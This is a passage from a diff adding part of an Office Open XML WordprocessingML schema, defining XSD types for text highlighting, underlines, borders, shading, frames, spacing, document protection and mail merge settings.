name="ST_TextScaleDecimal"> + <xsd:restriction base="xsd:integer"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="600"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextScale"> + <xsd:attribute name="val" type="ST_TextScale"/> + </xsd:complexType> + <xsd:simpleType name="ST_HighlightColor"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="black"/> + <xsd:enumeration value="blue"/> + <xsd:enumeration value="cyan"/> + <xsd:enumeration value="green"/> + <xsd:enumeration value="magenta"/> + <xsd:enumeration value="red"/> + <xsd:enumeration value="yellow"/> + <xsd:enumeration value="white"/> + <xsd:enumeration value="darkBlue"/> + <xsd:enumeration value="darkCyan"/> + <xsd:enumeration value="darkGreen"/> + <xsd:enumeration value="darkMagenta"/> + <xsd:enumeration value="darkRed"/> + <xsd:enumeration value="darkYellow"/> + <xsd:enumeration value="darkGray"/> + <xsd:enumeration value="lightGray"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Highlight"> + <xsd:attribute name="val" type="ST_HighlightColor" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_HexColorAuto"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="auto"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HexColor"> + <xsd:union memberTypes="ST_HexColorAuto s:ST_HexColorRGB"/> + </xsd:simpleType> + <xsd:complexType name="CT_Color"> + <xsd:attribute name="val" type="ST_HexColor" use="required"/> + <xsd:attribute name="themeColor" type="ST_ThemeColor" use="optional"/> + <xsd:attribute name="themeTint" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="themeShade" type="ST_UcharHexNumber" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Lang"> + <xsd:attribute name="val" type="s:ST_Lang" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Guid"> + <xsd:attribute name="val" type="s:ST_Guid"/> + </xsd:complexType> + <xsd:simpleType name="ST_Underline"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="single"/> + <xsd:enumeration value="words"/> + <xsd:enumeration value="double"/> + <xsd:enumeration value="thick"/> + <xsd:enumeration value="dotted"/> + <xsd:enumeration value="dottedHeavy"/> + <xsd:enumeration value="dash"/> + <xsd:enumeration value="dashedHeavy"/> + <xsd:enumeration value="dashLong"/> + <xsd:enumeration value="dashLongHeavy"/> + <xsd:enumeration value="dotDash"/> + <xsd:enumeration value="dashDotHeavy"/> + <xsd:enumeration value="dotDotDash"/> + <xsd:enumeration value="dashDotDotHeavy"/> + <xsd:enumeration value="wave"/> + <xsd:enumeration value="wavyHeavy"/> + <xsd:enumeration value="wavyDouble"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Underline"> + <xsd:attribute name="val" type="ST_Underline" use="optional"/> + <xsd:attribute name="color" type="ST_HexColor" use="optional" default="auto"/> + <xsd:attribute name="themeColor" type="ST_ThemeColor" use="optional"/> + <xsd:attribute name="themeTint" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="themeShade" type="ST_UcharHexNumber" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextEffect"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="blinkBackground"/> + <xsd:enumeration value="lights"/> + <xsd:enumeration value="antsBlack"/> + <xsd:enumeration value="antsRed"/> + <xsd:enumeration value="shimmer"/> + <xsd:enumeration value="sparkle"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextEffect"> + <xsd:attribute name="val" type="ST_TextEffect" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Border"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="nil"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="single"/> + <xsd:enumeration value="thick"/> + <xsd:enumeration value="double"/> + <xsd:enumeration value="dotted"/> + <xsd:enumeration value="dashed"/> + <xsd:enumeration value="dotDash"/> + <xsd:enumeration value="dotDotDash"/> + <xsd:enumeration value="triple"/> + <xsd:enumeration value="thinThickSmallGap"/> + <xsd:enumeration value="thickThinSmallGap"/> + <xsd:enumeration value="thinThickThinSmallGap"/> + <xsd:enumeration value="thinThickMediumGap"/> + <xsd:enumeration value="thickThinMediumGap"/> + <xsd:enumeration value="thinThickThinMediumGap"/> + <xsd:enumeration value="thinThickLargeGap"/> + <xsd:enumeration value="thickThinLargeGap"/> + <xsd:enumeration value="thinThickThinLargeGap"/> + <xsd:enumeration value="wave"/> + <xsd:enumeration value="doubleWave"/> + <xsd:enumeration value="dashSmallGap"/> + <xsd:enumeration value="dashDotStroked"/> + <xsd:enumeration value="threeDEmboss"/> + <xsd:enumeration value="threeDEngrave"/> + <xsd:enumeration value="outset"/> + <xsd:enumeration value="inset"/> + <xsd:enumeration value="apples"/> + <xsd:enumeration value="archedScallops"/> + <xsd:enumeration value="babyPacifier"/> + <xsd:enumeration value="babyRattle"/> + <xsd:enumeration value="balloons3Colors"/> + <xsd:enumeration value="balloonsHotAir"/> + <xsd:enumeration value="basicBlackDashes"/> + <xsd:enumeration value="basicBlackDots"/> + <xsd:enumeration value="basicBlackSquares"/> + <xsd:enumeration value="basicThinLines"/> + <xsd:enumeration value="basicWhiteDashes"/> + <xsd:enumeration value="basicWhiteDots"/> + <xsd:enumeration value="basicWhiteSquares"/> + <xsd:enumeration value="basicWideInline"/> + <xsd:enumeration value="basicWideMidline"/> + <xsd:enumeration value="basicWideOutline"/> + <xsd:enumeration value="bats"/> + <xsd:enumeration value="birds"/> + <xsd:enumeration value="birdsFlight"/> + <xsd:enumeration value="cabins"/> + <xsd:enumeration value="cakeSlice"/> + <xsd:enumeration value="candyCorn"/> + <xsd:enumeration value="celticKnotwork"/> + <xsd:enumeration value="certificateBanner"/> + <xsd:enumeration value="chainLink"/> + <xsd:enumeration value="champagneBottle"/> + <xsd:enumeration value="checkedBarBlack"/> + <xsd:enumeration value="checkedBarColor"/> + <xsd:enumeration value="checkered"/> + <xsd:enumeration value="christmasTree"/> + <xsd:enumeration value="circlesLines"/> + <xsd:enumeration value="circlesRectangles"/> + <xsd:enumeration value="classicalWave"/> + <xsd:enumeration value="clocks"/> + <xsd:enumeration value="compass"/> + <xsd:enumeration value="confetti"/> + <xsd:enumeration value="confettiGrays"/> + <xsd:enumeration value="confettiOutline"/> + <xsd:enumeration value="confettiStreamers"/> + <xsd:enumeration value="confettiWhite"/> + <xsd:enumeration value="cornerTriangles"/> + <xsd:enumeration value="couponCutoutDashes"/> + <xsd:enumeration value="couponCutoutDots"/> + <xsd:enumeration value="crazyMaze"/> + <xsd:enumeration value="creaturesButterfly"/> + <xsd:enumeration value="creaturesFish"/> + <xsd:enumeration value="creaturesInsects"/> + <xsd:enumeration value="creaturesLadyBug"/> + <xsd:enumeration value="crossStitch"/> + <xsd:enumeration value="cup"/> + <xsd:enumeration value="decoArch"/> + <xsd:enumeration value="decoArchColor"/> + <xsd:enumeration value="decoBlocks"/> + <xsd:enumeration value="diamondsGray"/> + <xsd:enumeration value="doubleD"/> + <xsd:enumeration value="doubleDiamonds"/> + <xsd:enumeration value="earth1"/> + <xsd:enumeration value="earth2"/> + <xsd:enumeration value="earth3"/> + <xsd:enumeration value="eclipsingSquares1"/> + <xsd:enumeration value="eclipsingSquares2"/> + <xsd:enumeration value="eggsBlack"/> + <xsd:enumeration value="fans"/> + <xsd:enumeration value="film"/> + <xsd:enumeration value="firecrackers"/> + <xsd:enumeration value="flowersBlockPrint"/> + <xsd:enumeration value="flowersDaisies"/> + <xsd:enumeration value="flowersModern1"/> + <xsd:enumeration value="flowersModern2"/> + <xsd:enumeration value="flowersPansy"/> + <xsd:enumeration value="flowersRedRose"/> + <xsd:enumeration value="flowersRoses"/> + <xsd:enumeration value="flowersTeacup"/> + <xsd:enumeration value="flowersTiny"/> + <xsd:enumeration value="gems"/> + <xsd:enumeration value="gingerbreadMan"/> + <xsd:enumeration value="gradient"/> + <xsd:enumeration value="handmade1"/> + <xsd:enumeration value="handmade2"/> + <xsd:enumeration value="heartBalloon"/> + <xsd:enumeration value="heartGray"/> + <xsd:enumeration value="hearts"/> + <xsd:enumeration value="heebieJeebies"/> + <xsd:enumeration value="holly"/> + <xsd:enumeration value="houseFunky"/> + <xsd:enumeration value="hypnotic"/> + <xsd:enumeration value="iceCreamCones"/> + <xsd:enumeration value="lightBulb"/> + <xsd:enumeration value="lightning1"/> + <xsd:enumeration value="lightning2"/> + <xsd:enumeration value="mapPins"/> + <xsd:enumeration value="mapleLeaf"/> + <xsd:enumeration value="mapleMuffins"/> + <xsd:enumeration value="marquee"/> + <xsd:enumeration value="marqueeToothed"/> + <xsd:enumeration value="moons"/> + <xsd:enumeration value="mosaic"/> + <xsd:enumeration value="musicNotes"/> + <xsd:enumeration value="northwest"/> + <xsd:enumeration value="ovals"/> + <xsd:enumeration value="packages"/> + <xsd:enumeration value="palmsBlack"/> + <xsd:enumeration value="palmsColor"/> + <xsd:enumeration value="paperClips"/> + <xsd:enumeration value="papyrus"/> + <xsd:enumeration value="partyFavor"/> + <xsd:enumeration value="partyGlass"/> + <xsd:enumeration value="pencils"/> + <xsd:enumeration value="people"/> + <xsd:enumeration value="peopleWaving"/> + <xsd:enumeration value="peopleHats"/> + <xsd:enumeration value="poinsettias"/> + <xsd:enumeration value="postageStamp"/> + <xsd:enumeration value="pumpkin1"/> + <xsd:enumeration value="pushPinNote2"/> + <xsd:enumeration value="pushPinNote1"/> + <xsd:enumeration value="pyramids"/> + <xsd:enumeration value="pyramidsAbove"/> + <xsd:enumeration value="quadrants"/> + <xsd:enumeration value="rings"/> + <xsd:enumeration value="safari"/> + <xsd:enumeration value="sawtooth"/> + <xsd:enumeration value="sawtoothGray"/> + <xsd:enumeration value="scaredCat"/> + <xsd:enumeration value="seattle"/> + <xsd:enumeration value="shadowedSquares"/> + <xsd:enumeration value="sharksTeeth"/> + <xsd:enumeration value="shorebirdTracks"/> + <xsd:enumeration value="skyrocket"/> + <xsd:enumeration value="snowflakeFancy"/> + <xsd:enumeration value="snowflakes"/> + <xsd:enumeration value="sombrero"/> + <xsd:enumeration value="southwest"/> + <xsd:enumeration value="stars"/> + <xsd:enumeration value="starsTop"/> + <xsd:enumeration value="stars3d"/> + <xsd:enumeration value="starsBlack"/> + <xsd:enumeration value="starsShadowed"/> + <xsd:enumeration value="sun"/> + <xsd:enumeration value="swirligig"/> + <xsd:enumeration value="tornPaper"/> + <xsd:enumeration value="tornPaperBlack"/> + <xsd:enumeration value="trees"/> + <xsd:enumeration value="triangleParty"/> + <xsd:enumeration value="triangles"/> + <xsd:enumeration value="triangle1"/> + <xsd:enumeration value="triangle2"/> + <xsd:enumeration value="triangleCircle1"/> + <xsd:enumeration value="triangleCircle2"/> + <xsd:enumeration value="shapes1"/> + <xsd:enumeration value="shapes2"/> + <xsd:enumeration value="twistedLines1"/> + <xsd:enumeration value="twistedLines2"/> + <xsd:enumeration value="vine"/> + <xsd:enumeration value="waveline"/> + <xsd:enumeration value="weavingAngles"/> + <xsd:enumeration value="weavingBraid"/> + <xsd:enumeration value="weavingRibbon"/> + <xsd:enumeration value="weavingStrips"/> + <xsd:enumeration value="whiteFlowers"/> + <xsd:enumeration value="woodwork"/> + <xsd:enumeration value="xIllusions"/> + <xsd:enumeration value="zanyTriangles"/> + <xsd:enumeration value="zigZag"/> + <xsd:enumeration value="zigZagStitch"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Border"> + <xsd:attribute name="val" type="ST_Border" use="required"/> + <xsd:attribute name="color" type="ST_HexColor" use="optional" default="auto"/> + <xsd:attribute name="themeColor" type="ST_ThemeColor" use="optional"/> + <xsd:attribute name="themeTint" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="themeShade" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="sz" type="ST_EighthPointMeasure" use="optional"/> + <xsd:attribute name="space" type="ST_PointMeasure" use="optional" default="0"/> + <xsd:attribute name="shadow" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="frame" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Shd"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="nil"/> + <xsd:enumeration value="clear"/> + <xsd:enumeration value="solid"/> + <xsd:enumeration value="horzStripe"/> + <xsd:enumeration value="vertStripe"/> + <xsd:enumeration value="reverseDiagStripe"/> + <xsd:enumeration value="diagStripe"/> + <xsd:enumeration value="horzCross"/> + <xsd:enumeration value="diagCross"/> + <xsd:enumeration value="thinHorzStripe"/> + <xsd:enumeration value="thinVertStripe"/> + <xsd:enumeration value="thinReverseDiagStripe"/> + <xsd:enumeration value="thinDiagStripe"/> + <xsd:enumeration value="thinHorzCross"/> + <xsd:enumeration value="thinDiagCross"/> + <xsd:enumeration value="pct5"/> + <xsd:enumeration value="pct10"/> + <xsd:enumeration value="pct12"/> + <xsd:enumeration value="pct15"/> + <xsd:enumeration value="pct20"/> + <xsd:enumeration value="pct25"/> + <xsd:enumeration value="pct30"/> + <xsd:enumeration value="pct35"/> + <xsd:enumeration value="pct37"/> + <xsd:enumeration value="pct40"/> + <xsd:enumeration value="pct45"/> + <xsd:enumeration value="pct50"/> + <xsd:enumeration value="pct55"/> + <xsd:enumeration value="pct60"/> + <xsd:enumeration value="pct62"/> + <xsd:enumeration value="pct65"/> + <xsd:enumeration value="pct70"/> + <xsd:enumeration value="pct75"/> + <xsd:enumeration value="pct80"/> + <xsd:enumeration value="pct85"/> + <xsd:enumeration value="pct87"/> + <xsd:enumeration value="pct90"/> + <xsd:enumeration value="pct95"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Shd"> + <xsd:attribute name="val" type="ST_Shd" use="required"/> + <xsd:attribute name="color" type="ST_HexColor" use="optional"/> + <xsd:attribute name="themeColor" type="ST_ThemeColor" use="optional"/> + <xsd:attribute name="themeTint" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="themeShade" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="fill" type="ST_HexColor" use="optional"/> + <xsd:attribute name="themeFill" type="ST_ThemeColor" use="optional"/> + <xsd:attribute name="themeFillTint" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="themeFillShade" type="ST_UcharHexNumber" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_VerticalAlignRun"> + <xsd:attribute name="val" type="s:ST_VerticalAlignRun" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FitText"> + <xsd:attribute name="val" type="s:ST_TwipsMeasure" use="required"/> + <xsd:attribute name="id" type="ST_DecimalNumber" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Em"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="dot"/> + <xsd:enumeration value="comma"/> + <xsd:enumeration value="circle"/> + <xsd:enumeration value="underDot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Em"> + <xsd:attribute name="val" type="ST_Em" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Language"> + <xsd:attribute name="val" type="s:ST_Lang" use="optional"/> + <xsd:attribute name="eastAsia" type="s:ST_Lang" use="optional"/> + <xsd:attribute name="bidi" type="s:ST_Lang" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_CombineBrackets"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="round"/> + <xsd:enumeration value="square"/> + <xsd:enumeration value="angle"/> + <xsd:enumeration value="curly"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_EastAsianLayout"> + <xsd:attribute name="id" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="combine" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="combineBrackets" type="ST_CombineBrackets" use="optional"/> + <xsd:attribute name="vert" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="vertCompress" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_HeightRule"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="exact"/> + <xsd:enumeration value="atLeast"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Wrap"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="notBeside"/> + <xsd:enumeration value="around"/> + <xsd:enumeration value="tight"/> + <xsd:enumeration value="through"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_VAnchor"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="text"/> + <xsd:enumeration value="margin"/> + <xsd:enumeration value="page"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HAnchor"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="text"/> + <xsd:enumeration value="margin"/> + <xsd:enumeration value="page"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DropCap"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="drop"/> + <xsd:enumeration value="margin"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FramePr"> + <xsd:attribute name="dropCap" type="ST_DropCap" use="optional"/> + <xsd:attribute name="lines" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="w" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="h" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="vSpace" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="hSpace" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="wrap" type="ST_Wrap" use="optional"/> + <xsd:attribute name="hAnchor" type="ST_HAnchor" use="optional"/> + <xsd:attribute name="vAnchor" type="ST_VAnchor" use="optional"/> + <xsd:attribute name="x" type="ST_SignedTwipsMeasure" use="optional"/> + <xsd:attribute name="xAlign" type="s:ST_XAlign" use="optional"/> + <xsd:attribute name="y" type="ST_SignedTwipsMeasure" use="optional"/> + <xsd:attribute name="yAlign" type="s:ST_YAlign" use="optional"/> + <xsd:attribute name="hRule" type="ST_HeightRule" use="optional"/> + <xsd:attribute name="anchorLock" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TabJc"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="clear"/> + <xsd:enumeration value="start"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="end"/> + <xsd:enumeration value="decimal"/> + <xsd:enumeration value="bar"/> + <xsd:enumeration value="num"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TabTlc"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="dot"/> + <xsd:enumeration value="hyphen"/> + <xsd:enumeration value="underscore"/> + <xsd:enumeration value="heavy"/> + <xsd:enumeration value="middleDot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TabStop"> + <xsd:attribute name="val" type="ST_TabJc" use="required"/> + <xsd:attribute name="leader" type="ST_TabTlc" use="optional"/> + <xsd:attribute name="pos" type="ST_SignedTwipsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_LineSpacingRule"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="exact"/> + <xsd:enumeration value="atLeast"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Spacing"> + <xsd:attribute name="before" type="s:ST_TwipsMeasure" use="optional" default="0"/> + <xsd:attribute name="beforeLines" type="ST_DecimalNumber" use="optional" default="0"/> + <xsd:attribute name="beforeAutospacing" type="s:ST_OnOff" use="optional" default="off"/> + <xsd:attribute name="after" type="s:ST_TwipsMeasure" use="optional" default="0"/> + <xsd:attribute name="afterLines" type="ST_DecimalNumber" use="optional" default="0"/> + <xsd:attribute name="afterAutospacing" type="s:ST_OnOff" use="optional" default="off"/> + <xsd:attribute name="line" type="ST_SignedTwipsMeasure" use="optional" default="0"/> + <xsd:attribute name="lineRule" type="ST_LineSpacingRule" use="optional" default="auto"/> + </xsd:complexType> + <xsd:complexType name="CT_Ind"> + <xsd:attribute name="start" type="ST_SignedTwipsMeasure" use="optional"/> + <xsd:attribute name="startChars" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="end" type="ST_SignedTwipsMeasure" use="optional"/> + <xsd:attribute name="endChars" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="left" type="ST_SignedTwipsMeasure" use="optional"/> + <xsd:attribute name="leftChars" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="right" type="ST_SignedTwipsMeasure" use="optional"/> + <xsd:attribute name="rightChars" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="hanging" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="hangingChars" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="firstLine" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="firstLineChars" type="ST_DecimalNumber" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Jc"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="start"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="end"/> + <xsd:enumeration value="both"/> + <xsd:enumeration value="mediumKashida"/> + <xsd:enumeration value="distribute"/> + <xsd:enumeration value="numTab"/> + <xsd:enumeration value="highKashida"/> + <xsd:enumeration value="lowKashida"/> + <xsd:enumeration value="thaiDistribute"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_JcTable"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="center"/> + <xsd:enumeration value="end"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="start"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Jc"> + <xsd:attribute name="val" type="ST_Jc" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_JcTable"> + <xsd:attribute name="val" type="ST_JcTable" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_View"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="print"/> + <xsd:enumeration value="outline"/> + <xsd:enumeration value="masterPages"/> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="web"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_View"> + <xsd:attribute name="val" type="ST_View" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Zoom"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="fullPage"/> + <xsd:enumeration value="bestFit"/> + <xsd:enumeration value="textFit"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Zoom"> + <xsd:attribute name="val" type="ST_Zoom" use="optional"/> + <xsd:attribute name="percent" type="ST_DecimalNumberOrPercent" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_WritingStyle"> + <xsd:attribute name="lang" type="s:ST_Lang" use="required"/> + <xsd:attribute name="vendorID" type="s:ST_String" use="required"/> + <xsd:attribute name="dllVersion" type="s:ST_String" use="required"/> + <xsd:attribute name="nlCheck" type="s:ST_OnOff" use="optional" default="off"/> + <xsd:attribute name="checkStyle" type="s:ST_OnOff" use="required"/> + <xsd:attribute name="appName" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Proof"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="clean"/> + <xsd:enumeration value="dirty"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Proof"> + <xsd:attribute name="spelling" type="ST_Proof" use="optional"/> + <xsd:attribute name="grammar" type="ST_Proof" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_DocType"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:complexType name="CT_DocType"> + <xsd:attribute name="val" type="ST_DocType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_DocProtect"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="readOnly"/> + <xsd:enumeration value="comments"/> + <xsd:enumeration value="trackedChanges"/> + <xsd:enumeration value="forms"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:attributeGroup name="AG_Password"> + <xsd:attribute name="algorithmName" type="s:ST_String" use="optional"/> + <xsd:attribute name="hashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="saltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="spinCount" type="ST_DecimalNumber" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_TransitionalPassword"> + <xsd:attribute name="cryptProviderType" type="s:ST_CryptProv"/> + <xsd:attribute name="cryptAlgorithmClass" type="s:ST_AlgClass"/> + <xsd:attribute name="cryptAlgorithmType" type="s:ST_AlgType"/> + <xsd:attribute name="cryptAlgorithmSid" type="ST_DecimalNumber"/> + <xsd:attribute name="cryptSpinCount" type="ST_DecimalNumber"/> + <xsd:attribute name="cryptProvider" type="s:ST_String"/> + <xsd:attribute name="algIdExt" type="ST_LongHexNumber"/> + <xsd:attribute name="algIdExtSource" type="s:ST_String"/> + <xsd:attribute name="cryptProviderTypeExt" type="ST_LongHexNumber"/> + <xsd:attribute name="cryptProviderTypeExtSource" type="s:ST_String"/> + <xsd:attribute name="hash" type="xsd:base64Binary"/> + <xsd:attribute name="salt" type="xsd:base64Binary"/> + </xsd:attributeGroup> + <xsd:complexType name="CT_DocProtect"> + <xsd:attribute name="edit" type="ST_DocProtect" use="optional"/> + <xsd:attribute name="formatting" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="enforcement" type="s:ST_OnOff"/> + <xsd:attributeGroup ref="AG_Password"/> + <xsd:attributeGroup ref="AG_TransitionalPassword"/> + </xsd:complexType> + <xsd:simpleType name="ST_MailMergeDocType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="catalog"/> + <xsd:enumeration value="envelopes"/> + <xsd:enumeration value="mailingLabels"/> + <xsd:enumeration value="formLetters"/> + <xsd:enumeration value="email"/> + <xsd:enumeration value="fax"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MailMergeDocType"> + <xsd:attribute name="val" type="ST_MailMergeDocType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_MailMergeDataType"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:complexType name="CT_MailMergeDataType"> + <xsd:attribute name="val" type="ST_MailMergeDataType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_MailMergeDest"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="newDocument"/> + <xsd:enumeration value="printer"/> + <xsd:enumeration value="email"/> + <xsd:enumeration value="fax"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MailMergeDest"> + <xsd:attribute name="val" type="ST_MailMergeDest" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_MailMergeOdsoFMDFieldType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="null"/> + <xsd:enumeration value="dbColumn"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MailMergeOdsoFMDFieldType"> + <xsd:attribute name="val" type="ST_MailMergeOdsoFMDFieldType" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TrackChangesView"> + <xsd:attribute name="markup" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="comments" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="insDel" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="formatting" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="inkAnnotations" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Kinsoku"> + <xsd:attribute name="lang" type="s:ST_Lang" use="required"/> + <xsd:attribute name="val" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextDirection"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="tb"/> + <xsd:enumeration value="rl"/> + <xsd:enumeration value="lr"/> + <xsd:enumeration value="tbV"/> + <xsd:enumeration value="rlV"/> + <xsd:enumeration value="lrV"/> + <xsd:enumeration value="btLr"/> + <xsd:enumeration value="lrTb"/> + <xsd:enumeration value="lrTbV"/> + <xsd:enumeration value="tbLrV"/> + <xsd:enumeration value="tbRl"/> + <xsd:enumeration value="tbRlV"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextDirection"> + <xsd:attribute name="val" type="ST_TextDirection" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextAlignment"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="baseline"/> + <xsd:enumeration value="bottom"/> + <xsd:enumeration value="auto"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextAlignment"> + <xsd:attribute name="val" type="ST_TextAlignment" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_DisplacedByCustomXml"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="next"/> + <xsd:enumeration value="prev"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_AnnotationVMerge"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="cont"/> + <xsd:enumeration value="rest"/> + </xsd:restriction> + 